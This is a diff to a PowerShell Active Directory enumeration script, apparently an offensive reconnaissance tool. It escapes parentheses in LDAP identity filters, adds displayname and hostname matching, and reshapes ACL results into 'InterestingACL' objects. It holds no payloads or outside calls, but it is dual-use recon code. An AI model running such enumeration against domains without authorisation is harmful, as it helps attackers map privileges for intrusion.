- $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
+ catch {
+ if ($IdentityInstance.Contains('.')) {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
+ }
+ else {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
+ }
}
}
}
@@ -6752,11 +6776,11 @@ Custom PSObject with ACL entries.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
- elseif ($IdentityInstance -match '^(CN|OU)=.*') {
+ elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
@@ -6769,7 +6793,7 @@ Custom PSObject with ACL entries.
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
- $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
}
@@ -7380,11 +7404,26 @@ Custom PSObject with ACL entries.
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
- $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
- $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
- $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
- $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
- $_
+
+ $InterestingACL = New-Object PSObject
+ $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
+ $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
+ $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
+ if ($_.ObjectAceType) {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
+ }
+ else {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
+ }
+ $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
+ $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
+ $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
+ $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
+ $InterestingACL
}
else {
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
@@ -7397,7 +7436,7 @@ Custom PSObject with ACL entries.
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
- $ObjectSearcherArguments
+
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
@@ -7416,11 +7455,25 @@ Custom PSObject with ACL entries.
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
- $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
- $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
- $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
- $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
- $_
+ $InterestingACL = New-Object PSObject
+ $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
+ $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
+ $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
+ if ($_.ObjectAceType) {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
+ }
+ else {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
+ }
+ $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
+ $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
+ $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
+ $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
+ $InterestingACL
}
}
else {
@@ -7641,7 +7694,7 @@ Custom PSObject with translated OU property fields.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
@@ -7900,7 +7953,7 @@ Custom PSObject with translated site property fields.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
@@ -8158,7 +8211,7 @@ Custom PSObject with translated subnet property fields.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
@@ -8629,19 +8682,22 @@ Custom PSObject with translated group property fields.
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
- elseif ($IdentityInstance -match '^S-1-.*') {
- $IdentityFilter += "(objectsid=$IdentityInstance)"
- }
- elseif ($IdentityInstance -match '^CN=.*') {
- $IdentityFilter += "(distinguishedname=$IdentityInstance)"
- }
else {
- try {
- $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
- $IdentityFilter += "(objectguid=$GuidByteString)"
+ $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-.*') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
}
- catch {
- $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
+ elseif ($IdentityInstance -match '^CN=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
+ }
}
}
}
@@ -9350,19 +9406,22 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
- elseif ($IdentityInstance -match '^S-1-.*') {
- $IdentityFilter += "(objectsid=$IdentityInstance)"
- }
- elseif ($IdentityInstance -match '^CN=.*') {
- $IdentityFilter += "(distinguishedname=$IdentityInstance)"
- }
else {
- try {
- $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
- $IdentityFilter += "(objectguid=$GuidByteString)"
+ $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-.*') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
}
- catch {
- $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ elseif ($IdentityInstance -match '^CN=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ }
}
}
}
@@ -10907,11 +10966,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
- if ($IdentityInstance -match 'LDAP://') {
- $IdentityFilter += "(distinguishedname=$IdentityInstance)"
- }
- elseif ($IdentityInstance -match '^CN=.*') {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
elseif ($IdentityInstance -match '{.*}') {